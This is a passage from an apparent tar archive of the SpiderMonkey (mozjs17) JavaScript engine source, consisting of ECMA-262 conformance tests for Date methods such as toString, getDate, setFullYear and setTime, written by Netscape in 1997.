contents of the string are implementation dependent, but are intended to represent the Date in a convenient, human-readable form in the current time zone. The toString function is not generic; it generates a runtime error if its this value is not a Date object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.toString"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Date.prototype.toString.length", 0, Date.prototype.toString.length ); var now = new Date(); // can't test the content of the string, but can verify that the string is // parsable by Date.parse new TestCase( SECTION, "Math.abs(Date.parse(now.toString()) - now.valueOf()) < 1000", true, Math.abs(Date.parse(now.toString()) - now.valueOf()) < 1000 ); new TestCase( SECTION, "typeof now.toString()", "string", typeof now.toString() ); // 1970 new TestCase( SECTION, "Date.parse( (new Date(0)).toString() )", 0, Date.parse( (new Date(0)).toString() ) ); new TestCase( SECTION, "Date.parse( (new Date("+TZ_ADJUST+")).toString() )", TZ_ADJUST, Date.parse( (new Date(TZ_ADJUST)).toString() ) ); // 1900 new TestCase( SECTION, "Date.parse( (new Date("+TIME_1900+")).toString() )", TIME_1900, Date.parse( (new Date(TIME_1900)).toString() ) ); new TestCase( SECTION, "Date.parse( (new Date("+TIME_1900 -TZ_ADJUST+")).toString() )", TIME_1900 -TZ_ADJUST, Date.parse( (new Date(TIME_1900 -TZ_ADJUST)).toString() ) ); // 2000 new TestCase( SECTION, "Date.parse( (new Date("+TIME_2000+")).toString() )", TIME_2000, Date.parse( (new Date(TIME_2000)).toString() ) ); new TestCase( SECTION, "Date.parse( (new Date("+TIME_2000 -TZ_ADJUST+")).toString() )", TIME_2000 -TZ_ADJUST, Date.parse( (new Date(TIME_2000 -TZ_ADJUST)).toString() ) ); // 29 Feb 2000 new TestCase( SECTION, "Date.parse( (new Date("+UTC_FEB_29_2000+")).toString() )", UTC_FEB_29_2000, Date.parse( (new Date(UTC_FEB_29_2000)).toString() ) ); new TestCase( SECTION, "Date.parse( (new Date("+(UTC_FEB_29_2000-1000)+")).toString() )", UTC_FEB_29_2000-1000, Date.parse( (new Date(UTC_FEB_29_2000-1000)).toString() ) ); new TestCase( SECTION, "Date.parse( (new Date("+(UTC_FEB_29_2000-TZ_ADJUST)+")).toString() )", UTC_FEB_29_2000-TZ_ADJUST, Date.parse( (new Date(UTC_FEB_29_2000-TZ_ADJUST)).toString() ) ); // 2O05 new TestCase( SECTION, "Date.parse( (new Date("+UTC_JAN_1_2005+")).toString() )", UTC_JAN_1_2005, Date.parse( (new Date(UTC_JAN_1_2005)).toString() ) ); new TestCase( SECTION, "Date.parse( (new Date("+(UTC_JAN_1_2005-1000)+")).toString() )", UTC_JAN_1_2005-1000, Date.parse( (new Date(UTC_JAN_1_2005-1000)).toString() ) ); new TestCase( SECTION, "Date.parse( (new Date("+(UTC_JAN_1_2005-TZ_ADJUST)+")).toString() )", UTC_JAN_1_2005-TZ_ADJUST, Date.parse( (new Date(UTC_JAN_1_2005-TZ_ADJUST)).toString() ) ); test(); mozjs17.0.0/js/src/tests/ecma/Date/dst-offset-caching-4-of-8.js0000664000175000017500000000025212106270663023645 0ustar sstanglsstangl// |reftest| slow /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ */ runDSTOffsetCachingTestsFraction(4, 8); mozjs17.0.0/js/src/tests/ecma/Date/dst-offset-caching-8-of-8.js0000664000175000017500000000025212106270663023651 0ustar sstanglsstangl// |reftest| slow /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ */ runDSTOffsetCachingTestsFraction(8, 8); mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.10-3.js0000664000175000017500000000251012106270663020402 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.10.js ECMA Section: 15.9.5.10 Description: Date.prototype.getDate 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return DateFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.10"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDate()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_1970 ); new TestCase( SECTION, "(new Date(NaN)).getDate()", NaN, (new Date(NaN)).getDate() ); new TestCase( SECTION, "Date.prototype.getDate.length", 0, Date.prototype.getDate.length ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDate()", DateFromTime(LocalTime(d)), (new Date(d)).getDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.10-4.js0000664000175000017500000000256212106270663020412 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.10.js ECMA Section: 15.9.5.10 Description: Date.prototype.getDate 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return DateFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.10"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDate()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_1900 ); new TestCase( SECTION, "(new Date(NaN)).getDate()", NaN, (new Date(NaN)).getDate() ); new TestCase( SECTION, "Date.prototype.getDate.length", 0, Date.prototype.getDate.length ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDate()", DateFromTime(LocalTime(d)), (new Date(d)).getDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.36-7.js0000664000175000017500000001237112106270663020424 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.36-1.js ECMA Section: 15.9.5.36 Date.prototype.setFullYear(year [, mon [, date ]] ) Description: If mon is not specified, this behaves as if mon were specified with the value getMonth( ). If date is not specified, this behaves as if date were specified with the value getDate( ). 1. Let t be the result of LocalTime(this time value); but if this time value is NaN, let t be +0. 2. Call ToNumber(year). 3. If mon is not specified, compute MonthFromTime(t); otherwise, call ToNumber(mon). 4. If date is not specified, compute DateFromTime(t); otherwise, call ToNumber(date). 5. Compute MakeDay(Result(2), Result(3), Result(4)). 6. Compute UTC(MakeDate(Result(5), TimeWithinDay(t))). 7. Set the [[Value]] property of the this value to TimeClip(Result(6)). 8. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 Added test cases for Year 2000 Compatilibity Testing. */ var SECTION = "15.9.5.36-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setFullYear(year [, mon [, date ]] )"); // Jan 1, 2005 addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2005);TDATE", UTCDateFromTime(SetFullYear(0,2005)), LocalDateFromTime(SetFullYear(0,2005)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2005,0);TDATE", UTCDateFromTime(SetFullYear(0,2005,0)), LocalDateFromTime(SetFullYear(0,2005,0)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2005,0,1);TDATE", UTCDateFromTime(SetFullYear(0,2005,0,1)), LocalDateFromTime(SetFullYear(0,2005,0,1)) ); test(); function addNewTestCase( DateString, UTCDate, LocalDate) { DateCase = eval( DateString ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetFullYear( t, year, mon, date ) { var T = ( isNaN(t) ) ? 0 : LocalTime(t) ; var YEAR = Number( year ); var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon ); var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date ); var DAY = MakeDay( YEAR, MONTH, DATE ); var UTC_DATE = UTC(MakeDate( DAY, TimeWithinDay(T))); return ( TimeClip(UTC_DATE) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.2.2-4.js0000664000175000017500000000270312106270663020325 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.2.2.js ECMA Section: 15.9.2.2 Date constructor used as a function Date( year, month, date, hours, minutes, seconds ) Description: The arguments are accepted, but are completely ignored. A string is created and returned as if by the expression (new Date()).toString(). Author: christine@netscape.com Date: 28 october 1997 Version: 9706 */ var VERSION = 9706; startTest(); var SECTION = "15.9.2.2"; var TOLERANCE = 100; var TITLE = "The Date Constructor Called as a Function"; writeHeaderToLog(SECTION+" "+TITLE ); // allow up to 1 second difference due to possibility // the date may change by 1 second in between calls to Date var d1; var d2; // Dates around feb 29, 2000 d1 = new Date(); d2 = Date.parse(Date(2000,1,29,0,0,0)); new TestCase(SECTION, "Date(2000,1,29,0,0,0)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2000,1,28,23,59,59)); new TestCase(SECTION, "Date(2000,1,28,23,59,59)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2000,1,27,16,0,0)); new TestCase(SECTION, "Date(2000,1,27,16,0,0)", true, d2 - d1 <= 1000); test(); mozjs17.0.0/js/src/tests/ecma/Date/15.9.2.2-3.js0000664000175000017500000000310512106270663020321 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.2.2.js ECMA Section: 15.9.2.2 Date constructor used as a function Date( year, month, date, hours, minutes, seconds ) Description: The arguments are accepted, but are completely ignored. A string is created and returned as if by the expression (new Date()).toString(). Author: christine@netscape.com Date: 28 october 1997 Version: 9706 */ var VERSION = 9706; startTest(); var SECTION = "15.9.2.2"; var TOLERANCE = 100; var TITLE = "The Date Constructor Called as a Function"; writeHeaderToLog(SECTION+" "+TITLE ); // allow up to 1 second difference due to possibility // the date may change by 1 second in between calls to Date var d1; var d2; // Dates around 1900 d1 = new Date(); d2 = Date.parse(Date(1899,11,31,23,59,59)); new TestCase( SECTION, "Date(1899,11,31,23,59,59)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(1900,0,1,0,0,0)); new TestCase( SECTION, "Date(1900,0,1,0,0,0)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(1900,0,1,0,0,1) ); new TestCase( SECTION, "Date(1900,0,1,0,0,1)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(1899,11,31,16,0,0,0)); new TestCase( SECTION, "Date(1899,11,31,16,0,0,0)", true, d2 - d1 <= 1000); test(); mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.22-8.js0000664000175000017500000000214012106270663020411 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.22.js ECMA Section: 15.9.5.22 Description: Date.prototype.getTimezoneOffset Returns the difference between local time and UTC time in minutes. 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return (t - LocalTime(t)) / msPerMinute. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.22"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getTimezoneOffset()"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "(new Date(NaN)).getTimezoneOffset()", NaN, (new Date(NaN)).getTimezoneOffset() ); new TestCase( SECTION, "Date.prototype.getTimezoneOffset.length", 0, Date.prototype.getTimezoneOffset.length ); test(); mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.13-2.js0000664000175000017500000000212212106270663020403 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.13 ECMA Section: 15.9.5.13 Description: Date.prototype.getUTCDay 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return WeekDay(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.13"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCDay()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_0000 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getUTCDay()", WeekDay((d)), (new Date(d)).getUTCDay() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.13-6.js0000664000175000017500000000213412106270663020412 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.13.js ECMA Section: 15.9.5.13 Description: Date.prototype.getUTCDay 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return WeekDay(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.13"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCDay()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( UTC_FEB_29_2000 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getUTCDay()", WeekDay((d)), (new Date(d)).getUTCDay() ); } } mozjs17.0.0/js/src/tests/ecma/Date/dst-offset-caching-2-of-8.js0000664000175000017500000000025212106270663023643 0ustar sstanglsstangl// |reftest| slow /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ */ runDSTOffsetCachingTestsFraction(2, 8); mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.2-2-n.js0000664000175000017500000000307012106270663020557 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.2-2.js ECMA Section: 15.9.5.2 Date.prototype.toString Description: This function returns a string value. The contents of the string are implementation dependent, but are intended to represent the Date in a convenient, human-readable form in the current time zone. The toString function is not generic; it generates a runtime error if its this value is not a Date object. Therefore it cannot be transferred to other kinds of objects for use as a method. This verifies that calling toString on an object that is not a string generates a runtime error. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.2-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.toString"; writeHeaderToLog( SECTION + " "+ TITLE); var OBJ = new MyObject( new Date(0) ); DESCRIPTION = "var OBJ = new MyObject( new Date(0) ); OBJ.toString()"; EXPECTED = "error"; new TestCase( SECTION, "var OBJ = new MyObject( new Date(0) ); OBJ.toString()", "error", eval("OBJ.toString()") ); test(); function MyObject( value ) { this.value = value; this.valueOf = new Function( "return this.value" ); this.toString = Date.prototype.toString; return this; } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-4.js0000664000175000017500000000367612106270663020425 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-2.js ECMA Section: 15.9.5.23 Description: Date.prototype.setTime 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " "+ TITLE); test_times = new Array( TIME_NOW, TIME_0000, TIME_1970, TIME_1900, TIME_2000, UTC_FEB_29_2000, UTC_JAN_1_2005 ); for ( var j = 0; j < test_times.length; j++ ) { addTestCase( new Date(TIME_0000), test_times[j] ); } new TestCase( SECTION, "(new Date(NaN)).setTime()", NaN, (new Date(NaN)).setTime() ); new TestCase( SECTION, "Date.prototype.setTime.length", 1, Date.prototype.setTime.length ); test(); function addTestCase( d, t ) { new TestCase( SECTION, "( "+d+" ).setTime("+t+")", t, d.setTime(t) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+1.1)+")", TimeClip(t+1.1), d.setTime(t+1.1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+1)+")", t+1, d.setTime(t+1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t-1)+")", t-1, d.setTime(t-1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t-TZ_ADJUST)+")", t-TZ_ADJUST, d.setTime(t-TZ_ADJUST) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+TZ_ADJUST)+")", t+TZ_ADJUST, d.setTime(t+TZ_ADJUST) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.3.2-5.js0000664000175000017500000001070012106270663020323 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.3.1.js ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms) Description: The [[Prototype]] property of the newly constructed object is set to the original Date prototype object, the one that is the initial value of Date.prototype. The [[Class]] property of the newly constructed object is set as follows: 1. Call ToNumber(year) 2. Call ToNumber(month) 3. Call ToNumber(date) 4. Call ToNumber(hours) 5. Call ToNumber(minutes) 6. Call ToNumber(seconds) 7. Call ToNumber(ms) 8. If Result(1)is NaN and 0 <= ToInteger(Result(1)) <= 99, Result(8) is 1900+ToInteger(Result(1)); otherwise, Result(8) is Result(1) 9. Compute MakeDay(Result(8), Result(2), Result(3) 10. Compute MakeTime(Result(4), Result(5), Result(6), Result(7) 11. Compute MakeDate(Result(9), Result(10)) 12. Set the [[Value]] property of the newly constructed object to TimeClip(UTC(Result(11))). This tests the returned value of a newly constructed Date object. Author: christine@netscape.com Date: 7 july 1997 */ var TIME = 0; var UTC_YEAR = 1; var UTC_MONTH = 2; var UTC_DATE = 3; var UTC_DAY = 4; var UTC_HOURS = 5; var UTC_MINUTES = 6; var UTC_SECONDS = 7; var UTC_MS = 8; var YEAR = 9; var MONTH = 10; var DATE = 11; var DAY = 12; var HOURS = 13; var MINUTES = 14; var SECONDS = 15; var MS = 16; // for TCMS, the gTestcases array must be global. var SECTION = "15.9.3.1"; var TITLE = "Date( year, month, date, hours, minutes, seconds )"; writeHeaderToLog( SECTION+" " +TITLE ); // Dates around Jan 1, 2005 var PST_JAN_1_2005 = UTC_JAN_1_2005 + 8*msPerHour; addNewTestCase( new Date(2005,0,1,0,0,0,0), "new Date(2005,0,1,0,0,0,0)", [PST_JAN_1_2005,2005,0,1,6,8,0,0,0,2005,0,1,6,0,0,0,0] ); addNewTestCase( new Date(2004,11,31,16,0,0,0), "new Date(2004,11,31,16,0,0,0)", [UTC_JAN_1_2005,2005,0,1,6,0,0,0,0,2004,11,31,5,16,0,0,0] ); test(); function addNewTestCase( DateCase, DateString, ResultArray ) { //adjust hard-coded ResultArray for tester's timezone instead of PST adjustResultArray(ResultArray); new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/dst-offset-caching-7-of-8.js0000664000175000017500000000025212106270663023650 0ustar sstanglsstangl// |reftest| slow /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ */ runDSTOffsetCachingTestsFraction(7, 8); mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.37-2.js0000664000175000017500000001226612106270663020423 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.37-1.js ECMA Section: 15.9.5.37 Date.prototype.setUTCFullYear(year [, mon [, date ]] ) Description: If mon is not specified, this behaves as if mon were specified with the value getUTCMonth( ). If date is not specified, this behaves as if date were specified with the value getUTCDate( ). 1. Let t be this time value; but if this time value is NaN, let t be +0. 2. Call ToNumber(year). 3. If mon is not specified, compute MonthFromTime(t); otherwise, call ToNumber(mon). 4. If date is not specified, compute DateFromTime(t); otherwise, call ToNumber(date). 5. Compute MakeDay(Result(2), Result(3), Result(4)). 6. Compute MakeDate(Result(5), TimeWithinDay(t)). 7. Set the [[Value]] property of the this value to TimeClip(Result(6)). 8. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 Added some Year 2000 test cases. */ var SECTION = "15.9.5.37-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setUTCFullYear(year [, mon [, date ]] )"); // Dates around 2000 addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(2000);TDATE", UTCDateFromTime(SetUTCFullYear(0,2000)), LocalDateFromTime(SetUTCFullYear(0,2000)) ); addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(2001);TDATE", UTCDateFromTime(SetUTCFullYear(0,2001)), LocalDateFromTime(SetUTCFullYear(0,2001)) ); addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(1999);TDATE", UTCDateFromTime(SetUTCFullYear(0,1999)), LocalDateFromTime(SetUTCFullYear(0,1999)) ); test(); function addNewTestCase( DateString, UTCDate, LocalDate) { DateCase = eval( DateString ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, 